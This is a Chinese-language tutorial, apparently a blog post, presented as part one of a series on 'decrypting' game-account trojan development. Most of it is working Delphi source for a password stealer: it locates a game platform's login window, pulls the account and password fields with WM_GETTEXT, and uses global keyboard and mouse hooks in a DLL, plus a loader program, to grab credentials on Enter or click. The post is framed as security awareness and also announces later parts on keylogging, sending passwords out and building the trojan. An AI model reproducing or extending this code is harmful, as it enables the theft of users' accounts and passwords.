解密網遊木馬開發全記錄(一)
解密網遊木馬開發全記錄
------WM_GETTEXT篇
網路虛擬財產的安全越來越受到廣大網民的關注,而黑客經常使用非法手段獲取網遊賬號及密碼進行非法盈利。為了揭露網遊盜號的基本原理,我將給大家演示黑客是如何通過編程實現密碼的截取與發送。也希望廣大網民提高安全意識,免受盜號危害。
首先通過分析可知,一個完整的木馬產品包括如下幾個功能:
- 1、密碼截取
- 2、密碼發送
- 3、木馬生成
針對如上功能我們來逐一揭示如何用編程來實現。我這裡就使用Delphi還實現各種功能,使用VC編程原理也一樣,大家可以自己實踐。
首先是密碼的截取,密碼截取的方法有很多,常見的比如:
- 1、發送WM_GETTEXT消息
- 2、鍵盤擊鍵記錄
- 3、內存讀取
- 4、封包截獲等
有針對性的比如:滑鼠點擊截圖、窗體偽造釣魚等。
本系列教程主要講解WM_GETTEXT消息、鍵盤擊鍵記錄、內存讀取密碼以及封包截獲的基本原理及實現。這些方法是比較常見也是危害比較廣泛的。分析上述各種方法,WM_GETTEXT消息的方法主要適用於對WINDOWS標準控制項的密碼截取;鍵盤擊鍵記錄則是針對鍵盤敲擊的記錄,適合固定鍵盤輸入的情況;內存讀取密碼則應用比較廣泛,適合大多數密碼截取的情況,並且在外掛技術中也經常用到;封包截獲則應用不是很廣泛主要是因為截獲的封包可能是加密過的,需要對加密機制進行解密才能獲得密碼。
今天為我們以XX電競平台為例給大家演示發送WM_GETTEXT消息密碼截取的全部過程。在以後的章節里將逐一講解其他密碼截取方法和密碼發送及木馬生成技術。
一、窗口分析
首先分析XX電競平台的登陸窗體。使用Spy++對窗體進行分析以獲得我們所需要的控制項信息。
如上圖,首先可以得到主窗口類名是:#32770 (對話框),窗口標題是:XX電競平台。然後再查看賬號和密碼輸入框的信息。
賬號輸入框的類名是:ComboBox。記錄下來這個信息,在截取密碼的時候會用到。
密碼輸入框的類名是:Edit。我們可以看到XX電競平台登陸窗口的控制項均是windows標準控制項。因此採用發送WM_GETTEXT消息的方法是最簡單的。
將所獲得信息總結如下:
主窗口類名:#32770 (對話框)
主窗口標題:XX電競平台
賬號輸入框的類名:ComboBox
密碼輸入框的類名:Edit
二、編程實現
首先實現帳戶密碼截取功能。為了便於測試,我們將截取的密碼列印在屏幕左上角。功能代碼如下:
procedure GetPassWord;var buffer:array[0..50] of char; Window,Number,PassWord:Longint; V:string; DC:HDC;begin V:=;//當前激活窗體 獲得當前窗口句柄 Window:=GetForegroundWindow;//約束條件 判斷主窗口標題是否為「XX電競平台」 if FindWindow(#32770,XX電競平台)=0 then exit;//取號碼和密碼句柄 Number:=FindWindowEx(Window,0,ComboBox,nil); if Number=0 then exit; PassWord:=FindWindowEx(Window,0,Edit,nil); if PassWord=0 then exit;//取內容 SendMessage(Number, $000D, 50, Integer(@buffer)); V:=number:+ string(buffer); SendMessage(PassWord, $000D, 50, Integer(@buffer)); V:=V+ password:+ string(buffer);//寫到屏幕上 DC:=GetDC(0); TextOut(DC,100,100,Pchar(V),Length(V)); ReleaseDC(0,DC);end;
可以看出截取信息的代碼十分簡單,其原理就是使用SendMessage函數向子窗口發送WM_GETTEXT消息,$000D就是WM_GETTEXT的消息碼。然後將消息返回的信息存放到buffer中,最後將其列印出來。
但是在什麼時候進行密碼截取呢?如果過早截取則可能用戶還沒有輸入信息或輸入的信息不全。如果截取晚了則可能登陸窗口已經不存在了,這都會導致我們無法截獲到賬號和密碼。因此我們使用HOOK技術來實現對滑鼠和鍵盤的監聽,也就是說在滑鼠點擊和鍵盤敲回車時才進行截取。
首先聲明鍵盤和滑鼠鉤子:
var KeyHook,MouseHook:HHook;
然後創建鉤子回調函數。實現對監控鍵盤按回車和滑鼠左擊事件的監控。如果事件發生則馬上進行密碼截取。
//鍵盤鉤子回調函數function HookKey(Code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;begin {回車} {鍵盤按鍵按下消息} if (wParam=13) and(((LParam shr 31)and 1)=0) then GetPassWord; Result:=CallNextHookEx(KeyHook,code,Wparam,lParam);end;//滑鼠鉤子回調函數 function HookMouse(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall; export;begin {滑鼠左鍵按下消息} if wparam=$0201 then GetPassWord; Result := CallNextHookEx(MouseHook, iCode, wParam, lParam);end;
回調函數寫好後,就要些鉤子掛起函數和鉤子解除函數了,代碼如下:
//掛鉤procedure HookOn;begin KeyHook:=SetWindowsHookEx(WH_KEYBOARD,@HookKey,HInstance,0); MouseHook:=SetWindowsHookEx(WH_mouse, @HookMouse, HInstance, 0);end;解除鉤子函數如下://脫鉤procedure HookOff;begin UnHookWindowsHookEx(KeyHook); UnHookWindowsHookEx(MouseHook);end;
有了上述代碼就可以實現賬號和密碼的完美截取了。將上除代碼編譯成DLL文件。別忘了導出HookOn、HookOff兩個函數以方便後面調用。
//導出函數exports HookOn,HookOff;
編譯成功後,鉤子DLL就製作成功了。下面只要用一個程序來調用鉤子DLL就好了。這就簡單多了,代碼如下:
program Main; uses windows; var Msg : tMsg;procedure HookOn ; stdcall; external hfhook.dll;procedure HookOff ; stdcall; external hfhook.dll;//主程序begin HookOn; while GetMessage(Msg, 0, 0, 0) do ; HookOff;end.
上除代碼就是調用鉤子dll中的兩個導出函數,並在循環獲取消息。編譯好CallHook.exe和hfhook.dll後將兩文件放到同一個文件夾下,運行測試一下,檢驗一下我們的勞動成果。
先運行CallHook.exe,然後運行XX電競平台客戶端進行登陸。在點擊登陸或按回車後會在桌面的左上角列印出帳戶和密碼。演示如下:
代碼運行比較成功,本次教程基本已經完成了密碼的截取,如有不夠完美的地方大家可以自己完善。下次將給大家介紹鍵盤記錄截取密碼的原理及實現方法。
更多精彩請關注公眾號5ecuruty
http://weixin.qq.com/r/Cin64p7EmsPlrdqB93wY (二維碼自動識別)
推薦閱讀: